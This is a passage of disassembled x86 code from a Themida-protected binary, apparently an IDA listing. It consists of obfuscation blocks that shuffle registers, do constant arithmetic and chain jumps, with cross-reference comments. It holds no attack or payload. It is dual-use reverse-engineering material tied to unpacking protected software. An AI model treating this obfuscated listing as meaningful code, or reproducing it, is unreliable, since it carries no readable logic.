; CODE XREF: Themida_:0056D78Ej add ebp, 222B5FDEh sub ebp, edi sub ebp, 222B5FDEh pop edi shr ebp, 2 push ebx mov ebx, 0FFFFFFFFh add ebp, ebx jmp loc_55F628 ; --------------------------------------------------------------------------- loc_55F961: ; CODE XREF: Themida_:0056CA91j push dword ptr [esp+4] jmp loc_5643E3 ; --------------------------------------------------------------------------- loc_55F96A: ; CODE XREF: Themida_:0055FFD0j push esi mov esi, 494D69ABh shr esi, 6 shr esi, 1 inc esi jmp loc_55F216 ; --------------------------------------------------------------------------- loc_55F97B: ; CODE XREF: Themida_:0056106Fj pop ebx jmp loc_56C8B6 ; --------------------------------------------------------------------------- loc_55F981: ; CODE XREF: Themida_:0056E232j xor ebx, 1C8DD988h sub esi, ebx jmp loc_56DC81 ; --------------------------------------------------------------------------- loc_55F98E: ; CODE XREF: Themida_:0056C4DEj mov esp, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_566139 ; --------------------------------------------------------------------------- loc_55F9A5: ; CODE XREF: Themida_:00562C45j xor ebx, 0F86FED38h push ebx add dword ptr [esp], 1BB02A4Fh pop ebp push ebx jmp loc_572805 ; --------------------------------------------------------------------------- loc_55F9BA: ; CODE XREF: Themida_:0056ECC7j mov edi, [esp] add esp, 4 add edi, eax pop eax pop esi xor edi, [esp] xor [esp], edi jmp loc_55E27C ; --------------------------------------------------------------------------- loc_55F9D2: ; CODE XREF: Themida_:00564286j pop esp xchg edi, [esp] jmp loc_562099 ; --------------------------------------------------------------------------- loc_55F9DB: ; CODE XREF: Themida_:00568B62j push esi push ebx mov ebx, 4E9E03D9h mov esi, ebx pop ebx sub ecx, esi pop esi add ecx, 5C07B955h jmp loc_566CD6 ; --------------------------------------------------------------------------- loc_55F9F3: ; CODE XREF: Themida_:00569E2Dj push dword ptr [esp] pop edx push edx push esp pop edx push ecx push esi push 77FD67CAh mov esi, [esp] jmp loc_5658AA ; --------------------------------------------------------------------------- loc_55FA09: ; CODE XREF: Themida_:0056C8A0j xor ebp, 0A7658992h sub edi, ebp mov ebp, [esp] add esp, 4 push edi push dword ptr [esp] pop eax add esp, 4 jmp loc_565364 ; --------------------------------------------------------------------------- loc_55FA24: ; CODE XREF: Themida_:0055E744j sub ebx, 74BE0767h pop ebp pop esi jmp loc_568F2E ; --------------------------------------------------------------------------- loc_55FA31: ; CODE XREF: Themida_:00570EDEj sub edi, 2D164223h add ebp, edi jmp loc_57261C ; --------------------------------------------------------------------------- loc_55FA3E: ; CODE XREF: Themida_:00570D9Cj pop ecx pop ebx pop esi jmp loc_56E277 ; --------------------------------------------------------------------------- loc_55FA46: ; CODE XREF: Themida_:0056BF41j neg bl sub bl, 1Dh or ch, bl pop ebx not ch sub ch, 9Eh sub al, ch pop ecx mov cx, [esp] jmp loc_5650E9 ; --------------------------------------------------------------------------- loc_55FA5F: ; CODE XREF: Themida_:00571EFCj add edi, ebx jmp loc_55DD7F ; --------------------------------------------------------------------------- loc_55FA66: ; CODE XREF: Themida_:0056AB64j sub ecx, 99C0503h sub ecx, 42256E4Bh mov esi, ecx jmp loc_563BFB ; --------------------------------------------------------------------------- loc_55FA79: ; CODE XREF: Themida_:0056C148j mov ebp, 6A1E3B64h shl ebp, 4 jmp loc_564FAE ; --------------------------------------------------------------------------- loc_55FA86: ; CODE XREF: Themida_:00565CA9j mov [esp], edx mov edx, 32951206h sub edx, 1 jmp loc_566F49 ; --------------------------------------------------------------------------- loc_55FA99: ; CODE XREF: Themida_:0055F6FCj add ecx, ebx pop ebx push ebp mov ebp, 2C8606BDh add ecx, ebp pop ebp xor ebx, ecx push dword ptr [esp] pop ecx push ecx jmp loc_567E30 ; --------------------------------------------------------------------------- loc_55FAB1: ; CODE XREF: Themida_:005726EFj add esp, 4 sub eax, edi pop edi add ebp, eax push dword ptr [esp] jmp loc_56A2FA ; --------------------------------------------------------------------------- loc_55FAC1: ; CODE XREF: Themida_:0056C8B9j shl ch, 5 push eax mov al, 0FDh sub ch, 88h sub ch, 0D2h add ch, al add ch, 0D2h add ch, 88h jmp loc_55ED6C ; --------------------------------------------------------------------------- loc_55FADA: ; CODE XREF: Themida_:00571428j mov eax, 6A29110Ch or ebp, eax mov eax, [esp] jmp loc_56D3B0 ; --------------------------------------------------------------------------- loc_55FAE9: ; CODE XREF: Themida_:00569BC3j push dword ptr [esp] pop edi push esi mov esi, esp jmp loc_5665BE ; --------------------------------------------------------------------------- loc_55FAF5: ; CODE XREF: Themida_:0055F726j pop ecx push 427Dh mov [esp], ecx jmp loc_5651A4 ; --------------------------------------------------------------------------- loc_55FB03: ; CODE XREF: Themida_:0056CF26j sub ecx, ebx pop ebx add eax, 2C600126h add eax, ecx sub eax, 2C600126h pop ecx add edi, eax mov eax, [esp] add esp, 4 add edi, 2 xchg edi, [esp] pop esp xor [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55FB2E: ; CODE XREF: Themida_:0056977Ej mov esi, edi mov ebp, esi pop esi mov ecx, ebp pop ebp jmp loc_56C3D6 ; --------------------------------------------------------------------------- loc_55FB3B: ; CODE XREF: Themida_:005616C7j not ebp xchg edx, ebp sub esp, 4 mov [esp], edx xchg esi, [esp] push esi not dword ptr [esp] mov esi, [esp] add esp, 4 xchg esi, [esp] pop edx jmp loc_570345 ; --------------------------------------------------------------------------- loc_55FB61: ; CODE XREF: Themida_:005724C7j pop esp jmp loc_56D7AC ; --------------------------------------------------------------------------- loc_55FB67: ; CODE XREF: Themida_:0055E7AEj mov ebx, esi push ebx pop ebp mov ebx, [esp] add esp, 4 pop esi jmp loc_56A00E ; --------------------------------------------------------------------------- loc_55FB7A: ; CODE XREF: Themida_:0056AB42j mov esi, [esp] add esp, 4 shr esi, 5 xor esi, ecx xor ecx, esi xor esi, ecx sub ecx, 1 xchg ecx, esi push ebx mov ebx, 6F9F6143h not ebx jmp loc_567DA1 ; --------------------------------------------------------------------------- loc_55FB9B: ; CODE XREF: Themida_:005669AEj mov ebx, 0FF450900h add ecx, ebx pop ebx mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_56AADC ; --------------------------------------------------------------------------- loc_55FBB4: ; CODE XREF: Themida_:0056966Dj mov [esp], esi mov esi, 74C0623Bh sub [esp+4], esi mov esi, [esp] jmp loc_55DC48 ; --------------------------------------------------------------------------- loc_55FBC8: ; CODE XREF: Themida_:0055F86Bj xchg ecx, [esp] mov esp, [esp] add esi, ebx mov ebx, [esp] jmp loc_56C64B ; --------------------------------------------------------------------------- loc_55FBD8: ; CODE XREF: Themida_:0056B95Ej shr edx, 6 shl edx, 8 or edx, 292F045Ch jmp loc_56FB72 ; --------------------------------------------------------------------------- loc_55FBE9: ; CODE XREF: Themida_:0055FFE0j add edx, 4 xchg edx, [esp] jmp loc_5700FB ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_56C8F9 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp push eax mov eax, 4 add edi, 313C66BDh add edi, eax sub edi, 313C66BDh pop eax push ecx jmp loc_562F59 ; --------------------------------------------------------------------------- loc_55FC35: ; CODE XREF: Themida_:0057265Bj mov [esp], ebp mov ebp, 35AE2D5Eh dec ebp push ebp not dword ptr [esp] jmp loc_55FE23 ; --------------------------------------------------------------------------- loc_55FC47: ; CODE XREF: Themida_:00567D37j pop ebx dec ch add ch, 84h not ch jmp loc_56F667 ; --------------------------------------------------------------------------- loc_55FC54: ; CODE XREF: Themida_:00569D79j mov edi, 2B2B38BAh shr edi, 2 dec edi jmp loc_5638E9 ; --------------------------------------------------------------------------- loc_55FC62: ; CODE XREF: Themida_:00570DE6j mov fs:[edx], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55FC6B: ; CODE XREF: Themida_:0056928Cj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, 800h jmp loc_570402 ; --------------------------------------------------------------------------- lodsb xor al, bl push edx mov dh, 0CDh push ebx push eax mov al, 0A4h mov bh, al pop eax neg bh push eax mov al, 0B6h neg al jmp loc_568B71 ; --------------------------------------------------------------------------- loc_55FC9B: ; CODE XREF: Themida_:0055E6A2j sub esi, ebp jmp loc_5653C1 ; --------------------------------------------------------------------------- loc_55FCA2: ; CODE XREF: Themida_:0056C467j sub cl, 0E4h mov edx, [esp] jmp loc_56797F ; --------------------------------------------------------------------------- loc_55FCAD: ; CODE XREF: Themida_:0056E3C0j sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push ecx jmp loc_5716B4 ; --------------------------------------------------------------------------- loc_55FCC0: ; CODE XREF: Themida_:0056E253j xor ebx, 6BA5E244h xor ecx, ebx jmp loc_561F2E ; --------------------------------------------------------------------------- loc_55FCCD: ; CODE XREF: Themida_:0055E28Cj mov cl, 45h xor cl, 60h sub al, cl pop ecx push edx jmp loc_56D5F9 ; --------------------------------------------------------------------------- loc_55FCDB: ; CODE XREF: Themida_:0055E992j add esp, 4 push ebp jmp loc_56413F ; --------------------------------------------------------------------------- loc_55FCE7: ; CODE XREF: Themida_:0056DF3Aj pop cx and cl, ah pop eax push dx jmp loc_565AFC ; --------------------------------------------------------------------------- loc_55FCF3: ; CODE XREF: Themida_:0056297Bj push 48B0h mov [esp], ebx jmp loc_55E997 ; --------------------------------------------------------------------------- loc_55FD00: ; CODE XREF: Themida_:0056BAF0j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55FD05: ; CODE XREF: Themida_:00560AE6j push ebx mov bl, dl push edx jmp loc_5680F9 ; --------------------------------------------------------------------------- loc_55FD0E: ; CODE XREF: Themida_:005645BFj sub edi, 0A3021F65h jmp loc_55E8E7 ; --------------------------------------------------------------------------- loc_55FD19: ; CODE XREF: Themida_:00564439j pop eax dec bh jmp loc_5706D9 ; --------------------------------------------------------------------------- loc_55FD21: ; CODE XREF: Themida_:0055DBC9j add al, bl sub al, 9Ah sub al, 0F1h push small 2BFBh mov [esp], cx push edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], edx push ecx mov cl, 24h mov dh, cl pop ecx not dh push eax mov al, 0FFh add dh, al pop eax shr dh, 7 dec dh push dx xchg bl, [esp+1] jmp loc_55EF9A ; --------------------------------------------------------------------------- loc_55FD6B: ; CODE XREF: Themida_:00560690j push esi mov esi, 5D7348ADh dec esi not esi push ebp push ecx mov ecx, 7E2B67C0h jmp loc_5639FB ; --------------------------------------------------------------------------- loc_55FD80: ; CODE XREF: Themida_:005641C7j mov ebp, [esp] add esp, 4 add esi, 7A3E214Dh add esi, 71691A1Dh add esi, edi push edi mov edi, 71691A1Dh sub esi, edi pop edi jmp loc_56B558 ; --------------------------------------------------------------------------- loc_55FDA5: ; CODE XREF: Themida_:0056FBA6j add esp, 4 add esi, 280C6EC2h shl esi, 4 push 4557h jmp loc_56EBD9 ; --------------------------------------------------------------------------- loc_55FDBE: ; CODE XREF: Themida_:00572274j push 6E16h mov [esp], esi jmp loc_55E04B ; --------------------------------------------------------------------------- loc_55FDCB: ; CODE XREF: Themida_:0056A10Dj add bh, 0FDh push dword ptr [esp] pop eax jmp loc_56C4EA ; --------------------------------------------------------------------------- loc_55FDD7: ; CODE XREF: Themida_:005625BBj inc ecx add ecx, 7A4905AAh sub eax, ecx pop ecx dec eax push 5496h mov [esp], ebp jmp loc_5610DA ; --------------------------------------------------------------------------- loc_55FDEF: ; CODE XREF: Themida_:005681F3j xor esi, 0D34D11ECh add ebp, 11D76776h jmp loc_56AAD1 ; --------------------------------------------------------------------------- loc_55FE00: ; CODE XREF: Themida_:0055EB47j mov edi, esp add edi, 4 jmp loc_571E8A ; --------------------------------------------------------------------------- loc_55FE0D: ; CODE XREF: Themida_:00564C35j pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp add ebx, 1728334Fh jmp loc_56BE61 ; --------------------------------------------------------------------------- loc_55FE23: ; CODE XREF: Themida_:0055FC42j pop ebp push edx mov edx, 403243F3h or ebp, edx pop edx neg ebp add ebp, 7341608Fh push ebx jmp loc_56D3FA ; --------------------------------------------------------------------------- loc_55FE3B: ; CODE XREF: Themida_:00571477j push 77CDh mov [esp], edi push 68204DBFh pop edi push edi pop ecx pop edi shr ecx, 2 shl ecx, 8 sub esp, 4 mov [esp], ecx jmp loc_564A5B ; --------------------------------------------------------------------------- loc_55FE5D: ; CODE XREF: Themida_:00572580j add ecx, 4B9F0680h sub ecx, 1DE10C6Dh xor ecx, 44067864h mov edx, ecx pop ecx jmp loc_57093B ; --------------------------------------------------------------------------- loc_55FE77: ; CODE XREF: Themida_:0056AF21j push dword ptr [esp] pop eax push esi push esp pop esi sub esp, 4 mov [esp], edi jmp loc_56EDDA ; --------------------------------------------------------------------------- loc_55FE8C: ; CODE XREF: Themida_:0056CD73j add esp, 4 push edx push edi mov edi, 2Ch push 4BF9h mov [esp], edi mov edx, [esp] add esp, 4 jmp loc_564542 ; --------------------------------------------------------------------------- loc_55FEAF: ; CODE XREF: Themida_:0056F6EFj pop dword ptr [esp] jmp loc_563DA2 ; --------------------------------------------------------------------------- loc_55FEB7: ; CODE XREF: Themida_:0056F819j or ebp, 4E0C7E74h sub ebp, 7DD25EC1h jmp loc_560F5B ; --------------------------------------------------------------------------- loc_55FEC8: ; CODE XREF: Themida_:005652E1j pop eax xor ecx, ebx pop ebx push ecx xor dword ptr [esp], 5B4C2E3Bh pop ebx xor ebx, 5B4C2E3Bh pop ecx and eax, ebx jmp loc_561AC8 ; --------------------------------------------------------------------------- loc_55FEE3: ; CODE XREF: Themida_:00567A12j sub bl, 9Ch pop ecx jmp loc_56FB64 ; --------------------------------------------------------------------------- loc_55FEEC: ; CODE XREF: Themida_:00563D91j sub edi, 2430E861h push ebx mov ebx, 28BE02F6h jmp loc_56E766 ; --------------------------------------------------------------------------- loc_55FEFD: ; CODE XREF: Themida_:0055DFB6j sub esp, 4 mov [esp], ebx jmp loc_5662CE ; --------------------------------------------------------------------------- loc_55FF08: ; CODE XREF: Themida_:005601A5j sub ebp, 36DF19C1h jmp loc_5719BF ; --------------------------------------------------------------------------- loc_55FF13: ; CODE XREF: Themida_:005657C2j push ecx mov ecx, 318813F6h inc ecx jmp loc_563457 ; --------------------------------------------------------------------------- loc_55FF1F: ; CODE XREF: Themida_:00571972j xor ebp, esi pop esi mov edx, ebp mov ebp, [esp] jmp loc_55F104 ; --------------------------------------------------------------------------- loc_55FF2C: ; CODE XREF: Themida_:005677A6j and eax, 1D566728h jmp loc_56F11C ; --------------------------------------------------------------------------- loc_55FF36: ; CODE XREF: Themida_:0056503Bj push 4C8016Ch mov ecx, [esp] add esp, 4 shl ecx, 3 jmp loc_561A49 ; --------------------------------------------------------------------------- loc_55FF49: ; CODE XREF: Themida_:0056846Bj push ebp push dword ptr [esp+4] jmp loc_55EEF3 ; --------------------------------------------------------------------------- loc_55FF53: ; CODE XREF: Themida_:0056970Cj pop ecx jmp loc_5636B2 ; --------------------------------------------------------------------------- loc_55FF59: ; CODE XREF: Themida_:0055F371j push ax mov ah, 95h and bl, ah pop ax not bl or bl, 6Fh jmp loc_56BF3E ; --------------------------------------------------------------------------- loc_55FF6B: ; CODE XREF: Themida_:00567F3Bj xchg ebx, [esp] pop esp mov [esp], ecx push esp push dword ptr [esp] jmp loc_563B26 ; --------------------------------------------------------------------------- loc_55FF7B: ; CODE XREF: Themida_:0055F286j mov ecx, 7CC08C4h add esi, ecx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebp jmp loc_570EFC ; --------------------------------------------------------------------------- loc_55FF98: ; CODE XREF: Themida_:00564489j push 629C4992h pop ecx dec ecx sub esp, 4 mov [esp], ebx mov ebx, 6A0139AAh inc ebx jmp loc_564FE4 ; --------------------------------------------------------------------------- loc_55FFB0: ; CODE XREF: Themida_:00562911j add ecx, ebx sub ecx, 6F4C1B33h sub ecx, 181F14B2h sub ecx, 49334924h push dword ptr [esp] pop ebx jmp loc_5608CD ; --------------------------------------------------------------------------- loc_55FFCD: ; CODE XREF: Themida_:0056545Aj xchg eax, edi push esi push eax jmp loc_55F96A ; --------------------------------------------------------------------------- loc_55FFD5: ; CODE XREF: Themida_:0056F46Bj mov [esp], edx push esp pop edx add edx, 4 jmp loc_55FBE9 ; --------------------------------------------------------------------------- loc_55FFE5: ; CODE XREF: Themida_:005709BBj pop ebx push 425Fh mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_56CD0A ; --------------------------------------------------------------------------- loc_55FFFB: ; CODE XREF: Themida_:005654A0j sub eax, edi pop edi mov edi, eax loc_560000: ; DATA XREF: Themida_:00580274o jmp loc_566B69 ; --------------------------------------------------------------------------- loc_560005: ; CODE XREF: Themida_:005708DBj mov ebx, 485649A3h not ebx shr ebx, 1 jmp loc_563B13 ; --------------------------------------------------------------------------- loc_560013: ; CODE XREF: Themida_:0056A78Cj mov edx, ebp pop ebp mov esi, [esp] add esp, 4 xchg eax, edx not eax xor edx, eax xor eax, edx xor edx, eax sub esp, 4 mov [esp], ebx mov ebx, 1E2A0580h add ebx, 1E11FDFFh jmp loc_5704CA ; --------------------------------------------------------------------------- loc_560041: ; CODE XREF: Themida_:0056C5FFj push ebp jmp loc_56D5CD ; --------------------------------------------------------------------------- loc_560047: ; CODE XREF: Themida_:005715D9j push dword ptr [esp] pop eax jmp loc_5656EF ; --------------------------------------------------------------------------- loc_560050: ; CODE XREF: Themida_:00562F54j not edx xor edx, 6CB15A1Dh xor edx, 45027267h push ecx mov ecx, 59E97C88h add ebx, ecx pop ecx sub ebx, edx jmp loc_564683 ; --------------------------------------------------------------------------- loc_56006E: ; CODE XREF: Themida_:0057027Aj pop ecx pop ebx pop eax sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56BAAC ; --------------------------------------------------------------------------- loc_56008B: ; CODE XREF: Themida_:00564B40j pop ecx neg edx or edx, 75B23154h sub edx, 9B2FAB20h push esi mov esi, 0F2F3335h sub esi, 597C75C0h sub esi, 6DA60829h shr esi, 2 jmp loc_567AE1 ; --------------------------------------------------------------------------- loc_5600B4: ; CODE XREF: Themida_:0056D7D2j xor ebp, [esp] xor [esp], ebp jmp loc_56F8DF ; --------------------------------------------------------------------------- loc_5600BF: ; CODE XREF: Themida_:00561E42j push ebp mov ebp, esp push eax jmp loc_56F8F8 ; --------------------------------------------------------------------------- loc_5600C8: ; CODE XREF: Themida_:0056AEC7j sub esp, 4 mov [esp], ebx mov ebx, esi jmp loc_570FB2 ; --------------------------------------------------------------------------- loc_5600D8: ; CODE XREF: Themida_:005704FBj push dword ptr [esp] pop ebp add esp, 4 shl ebx, 7 jmp loc_56E49E ; --------------------------------------------------------------------------- loc_5600E7: ; CODE XREF: Themida_:00568C15j add ebx, ecx pop ecx inc ebx xor ebx, 45C158F7h add eax, ebx pop ebx jmp loc_55EFDC ; --------------------------------------------------------------------------- loc_5600F9: ; CODE XREF: Themida_:0056E70Ej xor ebx, eax push dword ptr [esp] mov eax, [esp] jmp loc_563F67 ; --------------------------------------------------------------------------- loc_560106: ; CODE XREF: Themida_:00561705j pop ebx sub dl, cl pop ecx jmp loc_564C07 ; --------------------------------------------------------------------------- loc_56010F: ; CODE XREF: Themida_:0055DA32j inc ebx jmp loc_56D95F ; --------------------------------------------------------------------------- loc_560115: ; CODE XREF: Themida_:0056786Fj push 21764A9Ah pop esi add esi, 72ED964h push esi pop ecx pop esi add ecx, 4953533Ch add ebp, ecx pop ecx shr ebp, 8 xor ebp, 29B6E7Fh xor eax, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 5FC475C1h push ecx mov ecx, 2CFD7341h not ecx add ecx, 5E2513C7h jmp loc_564B29 ; --------------------------------------------------------------------------- loc_560162: ; CODE XREF: Themida_:00569B7Aj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esp jmp loc_5633BF ; --------------------------------------------------------------------------- loc_560172: ; CODE XREF: Themida_:00561B86j push eax push 55F5h mov [esp], ebp jmp loc_57080B ; --------------------------------------------------------------------------- loc_560180: ; CODE XREF: Themida_:00568F29j push 46BCh mov [esp], esp add dword ptr [esp], 4 pop eax push 15A2h mov [esp], ecx jmp loc_5670E5 ; --------------------------------------------------------------------------- loc_56019A: ; CODE XREF: Themida_:00566FBAj push ecx push ebp mov ebp, 5C39432Ch shl ebp, 5 inc ebp jmp loc_55FF08 ; --------------------------------------------------------------------------- loc_5601AA: ; CODE XREF: Themida_:0056CBA8j add eax, 936825B2h jmp loc_55E6A7 ; --------------------------------------------------------------------------- loc_5601B4: ; CODE XREF: Themida_:00564203j sub ebp, 4 jmp loc_56948F ; --------------------------------------------------------------------------- loc_5601BF: ; CODE XREF: Themida_:0056881Aj add ebp, 4 xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5601CE: ; CODE XREF: Themida_:005712D8j push 498219D2h pop ebp sub ebp, 680A3798h jmp loc_55D98B ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push esi push esp pop esi add esi, 4 push ecx mov ecx, 3A571972h not ecx jmp loc_56A65E ; --------------------------------------------------------------------------- loc_5601FB: ; CODE XREF: Themida_:0056DDC5j add edi, edx pop edx mov esi, edi mov edi, [esp] add esp, 4 not esi inc esi push esi not dword ptr [esp] mov esi, [esp] sub esp, 4 jmp loc_56A614 ; --------------------------------------------------------------------------- loc_56021B: ; CODE XREF: Themida_:005607A6j mov eax, 462A42D6h and ebp, eax pop eax push edx mov edx, esp jmp loc_566BD8 ; --------------------------------------------------------------------------- loc_56022B: ; CODE XREF: Themida_:00565F53j push ebx mov ebx, 776E49E1h jmp loc_56C2BF ; --------------------------------------------------------------------------- loc_560236: ; CODE XREF: Themida_:005675B0j pop ebx pop edx push edx jmp loc_565C8A ; --------------------------------------------------------------------------- loc_56023E: ; CODE XREF: Themida_:0056E5CEj push esi mov esi, 4 sub ebp, esi pop esi jmp loc_56B4E6 ; --------------------------------------------------------------------------- loc_56024C: ; CODE XREF: Themida_:0056A48Dj add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_560254: ; CODE XREF: Themida_:0056DD8Cj mov ebp, ebx jmp loc_5644F3 ; --------------------------------------------------------------------------- loc_56025B: ; CODE XREF: Themida_:0056C191j mov [esp], edx push ecx mov ecx, 3EB377AEh mov edx, 3EB377AAh xor edx, ecx pop ecx sub eax, edx pop edx xchg eax, [esp] pop esp mov [esp], ebp mov ebp, esp push edx jmp loc_569075 ; --------------------------------------------------------------------------- loc_56027E: ; CODE XREF: Themida_:0056FAB9j push ebx mov ebx, esi jmp loc_562641 ; --------------------------------------------------------------------------- loc_560286: ; CODE XREF: Themida_:0056B0A9j mov eax, 12D150A1h xor edi, eax mov eax, [esp] jmp loc_57119E ; --------------------------------------------------------------------------- loc_560295: ; CODE XREF: Themida_:00570712j xor cl, al jmp loc_560D89 ; --------------------------------------------------------------------------- loc_56029C: ; CODE XREF: Themida_:00566889j xchg ecx, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56D75B ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5602BB: ; CODE XREF: Themida_:005717F6j push ebx push edi pop ebx pop edi jmp loc_55DED9 ; --------------------------------------------------------------------------- loc_5602C4: ; CODE XREF: Themida_:00566B21j mov esi, 4 jmp loc_570A12 ; --------------------------------------------------------------------------- loc_5602CE: ; CODE XREF: Themida_:00571E73j add eax, 51EC2436h jmp loc_5708EF ; --------------------------------------------------------------------------- loc_5602D8: ; CODE XREF: Themida_:00568C2Ej add ecx, 197F64B3h add ecx, edi sub ecx, 197F64B3h jmp loc_55EA2C ; --------------------------------------------------------------------------- loc_5602EB: ; CODE XREF: Themida_:00570C65j push edx mov edx, 369F4740h jmp loc_56B1C1 ; --------------------------------------------------------------------------- loc_5602F6: ; CODE XREF: Themida_:0056227Bj push dword ptr [esp] pop edx add esp, 4 push ebp jmp loc_561686 ; --------------------------------------------------------------------------- loc_560306: ; CODE XREF: Themida_:00572758j xchg eax, [esp] jmp loc_56D466 ; --------------------------------------------------------------------------- loc_56030E: ; CODE XREF: Themida_:00560E49j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi push esp pop esi add esi, 4 sub esi, 4 jmp loc_5681BD ; --------------------------------------------------------------------------- loc_56032C: ; CODE XREF: Themida_:00562E9Aj mov eax, 0AB1C78CEh add ecx, eax pop eax jmp loc_56E70B ; --------------------------------------------------------------------------- loc_560339: ; CODE XREF: Themida_:0056AED0j push eax sub esp, 4 mov [esp], edx mov dl, 69h sub dl, 0D3h inc dl push ecx mov ch, 39h not ch inc ch push ebx mov bh, 93h add bh, 8Ah sub ch, bh jmp loc_570297 ; --------------------------------------------------------------------------- loc_56035E: ; CODE XREF: Themida_:0055F211j sub [esp+8], edx jmp loc_56A1CC ; --------------------------------------------------------------------------- loc_560367: ; CODE XREF: Themida_:00565A7Bj pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub [esp+4], ebx push eax mov eax, 3C2632D8h push edx mov edx, 7C6B009Ah jmp loc_56C6B1 ; --------------------------------------------------------------------------- push 0F81h mov [esp], edx push ebp mov ebp, 50472055h xchg edi, ebp sub edi, 0FFFFFFFFh jmp loc_572117 ; --------------------------------------------------------------------------- loc_56039F: ; CODE XREF: Themida_:005689A1j add ecx, 4 sub ecx, 4 jmp loc_563FDC ; --------------------------------------------------------------------------- loc_5603B0: ; CODE XREF: Themida_:00564F09j mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_562B1D ; --------------------------------------------------------------------------- loc_5603C0: ; CODE XREF: Themida_:0056D75Ej pop esp mov [esp], ebp push 58A1h jmp loc_563333 ; --------------------------------------------------------------------------- loc_5603CE: ; CODE XREF: Themida_:00571686j add ebp, esi pop esi push ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] jmp loc_562968 ; --------------------------------------------------------------------------- loc_5603E5: ; CODE XREF: Themida_:0056DDCFj pop dword ptr [esp] pop esp add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp add esi, 4 push edx jmp loc_55E3C6 ; --------------------------------------------------------------------------- loc_560404: ; CODE XREF: Themida_:00561967j xor esi, ebp pop ebp sub edx, esi pop esi push ecx mov ecx, 1FD11D5Ah jmp loc_563BD5 ; --------------------------------------------------------------------------- loc_560415: ; CODE XREF: Themida_:0056F92Cj add bl, 38h jmp loc_56428B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56ACA4 ; --------------------------------------------------------------------------- loc_560426: ; CODE XREF: Themida_:00561BFAj mov esi, 35DD19B5h xor ecx, esi pop esi mov ebx, ecx push dword ptr [esp] jmp loc_56C7FB ; --------------------------------------------------------------------------- loc_560438: ; CODE XREF: Themida_:005689DBj pop ecx sub eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5625E7 ; --------------------------------------------------------------------------- loc_56045A: ; CODE XREF: Themida_:0055F1E0j mov ebx, 3FA476F4h jmp loc_572180 ; --------------------------------------------------------------------------- loc_560464: ; CODE XREF: Themida_:00572367j sub ebx, 5F6AFA0Fh jmp loc_569931 ; --------------------------------------------------------------------------- loc_56046F: ; CODE XREF: Themida_:0056B4E1j push bx mov bl, 0B7h add al, bl pop bx add al, dh sub al, 0B7h push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_56B347 ; --------------------------------------------------------------------------- loc_56048F: ; CODE XREF: Themida_:0056B82Bj add ebp, eax sub ebp, 49436199h pop eax xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edx push esp pop edx push 5BFh mov [esp], ecx mov ecx, 4 jmp loc_561E60 ; --------------------------------------------------------------------------- loc_5604B6: ; CODE XREF: Themida_:00562311j pop eax mov edx, [esp] add esp, 4 push edx mov dh, 0F5h add dh, 0FFh push ecx push ax mov ah, 81h mov ch, ah pop ax or dh, ch pop ecx jmp loc_562BA3 ; --------------------------------------------------------------------------- loc_5604D4: ; CODE XREF: Themida_:005724D5j add esp, 4 push edi jmp loc_561FAA ; --------------------------------------------------------------------------- loc_5604DD: ; CODE XREF: Themida_:0056780Aj add edx, 3576CFACh and esi, edx pop edx jmp loc_5714B6 ; --------------------------------------------------------------------------- loc_5604EB: ; CODE XREF: Themida_:0056D7E1j shr edx, 8 xor edx, 647A842Dh xor edi, edx pop edx jmp loc_55E3A3 ; --------------------------------------------------------------------------- loc_5604FC: ; CODE XREF: Themida_:00564134j pop ecx xchg esi, [esp] jmp loc_57210E ; --------------------------------------------------------------------------- loc_560505: ; CODE XREF: Themida_:005669CBj xchg edx, [esp] not edx xchg edx, [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_56AC89 ; --------------------------------------------------------------------------- loc_560519: ; CODE XREF: Themida_:00564C02j mov esi, 4 jmp loc_5612D3 ; --------------------------------------------------------------------------- loc_560523: ; CODE XREF: Themida_:005706A1j sub [esp+4], esi jmp loc_56A482 ; --------------------------------------------------------------------------- loc_56052C: ; CODE XREF: Themida_:0056755Aj add edi, edx add edi, 308C0C73h mov edx, [esp] add esp, 4 push ebx mov ebx, 6D8328A6h xor ebx, 6D8328A2h add edi, ebx pop ebx xchg edi, [esp] jmp loc_5725E2 ; --------------------------------------------------------------------------- loc_560551: ; CODE XREF: Themida_:0056FB2Aj sub edi, 60C851B0h sub edx, 50567795h add edx, edi add 